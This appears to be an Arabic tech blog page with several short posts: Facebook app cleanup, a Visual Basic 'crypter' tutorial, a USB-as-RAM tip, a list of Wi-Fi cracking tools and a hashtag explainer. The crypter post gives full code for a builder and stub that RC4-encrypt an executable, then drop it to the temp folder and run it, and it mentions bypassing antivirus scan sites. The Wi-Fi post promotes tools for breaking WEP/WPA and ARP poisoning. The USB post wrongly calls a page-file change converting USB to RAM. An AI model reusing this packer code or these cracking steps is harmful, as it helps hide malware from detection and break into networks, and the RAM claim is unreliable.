الاثنين، 17 يونيو، 2013

ﺣﻞ ﻣﺸﻜﻠﺔ ﺍﻟﻔﻴﺮﻭﺱ ﺍﻟﺬﻱ ﺑﻨﺸﺮ ﺻﻮﺭ ﺍﺑﺎﺣﻴﺔ ﺑﺪﻭﻥ ﻋﻠﻢ ﺻﺎﺣﺐ ﺍﻟﺤﺴﺎﺏ

ﺣﻞ ﻣﺸﻜﻠﺔ ﺍﻟﻔﻴﺮﻭﺱ ﺍﻟﺬﻱ ﺑﻨﺸﺮ ﺻﻮﺭ ﺍﺑﺎﺣﻴﺔ ﺑﺪﻭﻥ ﻋﻠﻢ ﺻﺎﺣﺐ ﺍﻟﺤﺴﺎﺏ

ﺍﺩﺧﻞ ﻋﻠﻰ ﺍﻋﺪﺍﺩﺍﺕ ﺍﻟﺨﺼﻮﺻﻴﺔ (Confidentialité)
ﺛﻢ ﺍﺧﺘﺎﺭ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ (applications )
ﺍﻟﻖ ﻧﻈﺮﺓ ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺴﺘﻌﻤﻠﻬﺎ ( Applications que vous utilisez )
ﺍﺫﺍ ﻭﺟﺪﺕ ﺍﺣﺪﻯ ﻫﺬﻩ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ، ﺍﻣﺴﺤﻪ
Page Tab: Static HTML + IFrame + fbx viwer+ MNS Messenger+ profile visitors
ﻳﻤﻜﻨﻚ ﻛﺬﻟﻚ ﻣﺤﻮ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺸﻚ ﺑﻬﺎ ﻣﻦ ﺑﺎﺏ ﺍﻟﺤﻴﻄﺔ.

ﺍﻧﺸﺮﻫﺎ ﻟﺘﻌﻢ ﺍﻟﻔﺎﺋﺪﺓ

تصميم برنامج تشفير بالفيجول بيسك


السلام عليكم

كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره



طيب الحين نجي الاكوآد

كـواد البرنامج :_:

في التصريحات العامه (General ) :_:

كود PHP:
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#q&szlig;" 
في زر الاستعراض

Command1

نضع هذا الكود :

كود PHP:
    With CommonDialog1 ' انتظار اداه دايلق
    .Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل
    .DialogTitle = "Select a File"
    .ShowOpen ' امر الاستعراض وجلب
    End With
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست 

النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :


كود PHP:
Dim sStube As String, sFile As String

Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب
sStube = Space(LOF(1))
Get #1, , sStube
Close #1


Open ****1.**** For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1

Open App.Path & "\s3od*****" For Binary As #1  ' اسم الملف الناتج بعد التشفير
Put #1, , sStube & FileSplit & RC4(sFile, pw)
Close #1

MsgBox "مبــروك تم تشفير الملف بنجآح" 
النجوم تعني = t e x t



في الموديل الى اضنفاه

ModRc4


نضع هذا الكود :_:

كود PHP:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function 
..........................

بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :

كود PHP:
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#qك"
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Sub Main()
Dim sStub As String, sFile As String

Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي
sStub = Space(LOF(1))
Get #1, , sStub ' اسم الستب
Close #1 ' اغلاق

sFile = Split(sStub, FileSplit)(1)

Open Environ("tmp") & "decrypted.exe" For Binary As #1
Put #1, , RC4(sFile, pw)
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء


Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه


End Sub 
النجوم تعني = N a m e

موديل رقم 2

باسم ModRc4

كود هـو :


كود PHP:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function 
طيب الحين نحفظ الستب

باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه


تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج

على شان محد يقول سعود قصر

ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح

على شان لما تخطئون تعرفون اخطأكم وين

تحويل Usb الى رام Ram




اليوم متتبعينا الكرام سيكون موضوعنا حول طريقة فعالة و بدون برامج حصريا على مدونة حاسوبي  لتحويل  Usb الى رام Ram 
 حيث العديد من الاخوة يشتكون من ثقل حاسوبهم و دلك راجع بالطبع الى ضعف الرام
 الاخيرة التي يتجلى دورها في تخفيف و تسريع الحاسوب الا ان ثمنها يعتبر مرتفع قليلا
اليوم ان شاء الله سنقوم ببعض الخطوات البسيطة للاستغناء عن شراء الرام
لكن بشرط ان تتوفر اخي الكريم على Usb , اولا عليك تفريغ ال Usb اي حدف جميع الملفات بداخلها
و نتوجه الى' Poste de Travail' ثم 'Proriétés' 

 و نضغط على 'Paramétre système avancés' وبعدها 'Paramétres'


ثم 'Avancé' مرة اخرى و 'Modifier'


الان اخي الكريم اتمنى تركز معي 
نقوم باختيار حرف ال Usb التي نتوفر عليها
وبالطبع يجب ان تكون مرتبطة بالحاسوب 
انا اخترت القرص :C لاني لا اتوفر على Usb حاليا
ثم نحدد 'Taille Personnalisée'
كما يتوضح من خلال الصورة يجب النقص من المساحة الاجمالية لل Usb
اي مثلا تتوفر على مساحة 2000Mo  يكفيك وضع 1990 في المساحتين المحددتين
و اخيرا نضغط على 'Définir' ثم 'Ok'
ادا طلب منك اعادة تشغيل الحاسوب وافق بالظغط على 'Ok'
وهكدا تكون اخي قد قمت بتحويل Ram الى Usb

اتمنى تكون الطريقة قد نالت اعجابكم
وانتظرونا في مواضيع قادمة ان شاء الله

بـــــعض بـــــرامج الاختـــــراق للـــــويفي (الـــــشبكة اللا سلـــــكية)

بـــــعض بـــــرامج الاختـــــراق للـــــويفي (الـــــشبكة اللا سلـــــكية)

برامـــــج نظام تعـــــمل علـــــى ويندوز :

بـــرنــــامـج Netstumbler :

يقوم البرنامج بعمل مسح شامل لإظهار معلومات عن الشبكة وحالة وقوة الاتصال بالشبكة وإذا ما كانت الشبكة محمية بكلمة سر للدخول أم لا.

بـــــرنامــج Cain :

وهو الأفضل لانه يبقي على الاتصال اللاسلكي قائما وهو يعمل، عكس باقي برامج ال WIFI scanner حيث يقوم بفصل “WZC “Wireless Zero Configuration والذي يقوم بإعداد كروت الموزعات اللاسلكية التي تستخدم الاستاندر 802.11. برنامج cain يحتوي على خصائص كثيره مثل إمكانية عمل sniff للشبكة وعمل arp-poision . اما بالنسبة لنظام التشغيل لينوكس ( Linux ) فهناك الكثير من البرامج الخطيرة جداً والتي تفوق قدرة برامج الويندوز : مثل:

برنـــــامج Kismet :

حتى ولو كانت الإشارة الصادره ضعيفة جداً، وحتى ولو كان قد ألغيت خاصية SSID BroadCasting، ويقوم برنامج Kismet بإظهار الشبكة والماك أدرس للراوتر. Kismet يعطيك معلومات عن الأجهزة المستخدمة في الشبكة وعن أنواع التشفير المستخدمة واذا كانت الشبكة فيها ثغر أو لا بحيث تمكن من اختراقها وأيضا يقوم باصدار صوت حال اكتشافه للشبكة واذا كان مايزال متصل بها.

برنـــــامج NetDiscover :

موقع البرنامج برنامج Netdiscover جيد للشبكات التي لا تستخدم DHCP والبرنامج فيه الكثير من الخصال والمزايا الرائعة للمسح (سكان)، وهي استخدام خاصية active & passive ،ويقوم أيضا بعمل sniff

برنـــــامج WIFI-Radar :


برنامج Wifi-radar، برنامج رائع وسهل الاستخدام ويقوم بعمل مسح للشبكات اللاسلكية، ويمكنك من إنشاء ملف خاص لكل شبكة، واختيار طريقة الاتصال بهم، وتخزن إعدادت كل شبكة.

برنـــــامج AirSnort :


AirSnort عبارة عن برنامج مخصص لكسر التشفير من نوع WEP..

برنـــــامج AirCrack :


يعمل بنفس طريقة البرنامج السابق ولكن AirCrack أكثر كفاءة من AirSnort. وهاهي أنواع التي يوفرها هذا البرنامج Airodump :

يقوم بجمع الرزم اللازمة لغايات كسر الشفرة. Airdecap:

يقوم بفك تشفير الرزم المكتشفة. Aircrack:

البرنامج الرئيسي والذي يقوم بتحليل المعلومان من الرزم المجموعة ويقوم بفك تشفيرها.

برنـــــامج Aireplay:

يقوم بتسريع الاتصال. وأيضا يقوم باظهار ال SSID للموزعات التي ألغت خاصية SSID BroadCasting

برنـــــامج coWPAtty :

موقع البرنامج : http://sourceforge.net/projects/cowpatty البرنامج يستخدم أيضا لفك تشفير WPA, البرنامج يستخدم Brute-Force ويحتاج البرنامج إلى 4 رزم فقط ليبدأ بفك الشفرة ،.. وهذة تقريباً أفضل البرامج التي يمكن استخدامها في قرصنة الشبكات اللاسلكية Wireless network أو ما يعرف باسم WarDrive.
[عدل] حماية الشبكات اللاسلكية

غالبا ما تكون الشبكة اللاسلكية غير آمنة حتى إذا كنت قد فعلت تشفير WEP (Wired Equivalency Protocol)، فذلك البروتوكول ليس امنا وفيه الكثير من العيوب ً، ويمكن للقراصنة الخبراء بكسره بسهولة.وبالتالي عليك أن تستخدم البروتوكول WPA (Wi-Fi Protected Access).

لترقية إلى WPA، يجب أن يتوفر لدي الشبكة ثلاثة مكونات أساسية: موزع لاسلكي يدعم بروتوكول WPA. بطاقة شبكة لاسلكية توفر خدمة ال WPA. جهاز يدعم WPA، ونظام التشغيل. يعمل WPA كبديل عن WEP، في المكاتب الصغيرة أو المنازل، يجب أن تدعم كل الأجهزة الاسلكية على الشبكة هذا البروتوكول.. إذا لم تكن قد اشتريت الأجهزة اللاسلكية حتى الآن، فإحرص على ان تكون كلها تدعم ال WPA، شراء الأجهزة أمر سهل. حيث بدأ اتحاد WiFi بترخيص المنتجات التي تعمل بهذا WPA.

أما إذا كنت فد اشتريت مسبقاً الأجهزة اللاسلكية، فإن الترقية هنا قد تكون صعبة. فعليك أن تفحص مواقع الإنترنت لمصنعي الأجهزة التي لديك لترى إذا كان لديهم القدرة على الترقية إلى تقنية WPA. ،فإن ذلك ربما يكون للمنتجات الجديدة فقط. أما إذا لم تجد الترقية المناسبة، فليس أمامك سوى أن تشتري منتجات جديدة تدعم

الفيسبوك يضيف خاصية الهاش تاغ


الهاش تاغ

الهاش تاغ هي كلمة مسبوقة بعلامة # الفائدة منه حصر جميع المشاركات التي تتحدث بموضوع ما بصفحة واحدة بغض النظر عن متابعتك للمتوتر او لا مثال على ذلك اريد أن ابحث في موضوع يتحدث عن المدينة المنورة وان اشارك المتفاعلين الموضوع ببساطة انهي اي جملة أكتبها بالهاش تاق الخاص بالموضوع 

madina# نحن افترضنا ان الحديث عن المدينة فليكن الهاش تاق عند تفاعل الناس مع الهاش تاق سوف تجد العديد من التغريدات بمكان واحد دون عناء البحث الهدف من الهاش تاق هو ترتيب وتصنيف المواضيع وسط زحمة التغريدات في تويتر وللفائدة فإن الحديث المنتشر الآن في تويتر عن امطار الحجاز ولمتابعة الاخبار لحظة بلحظة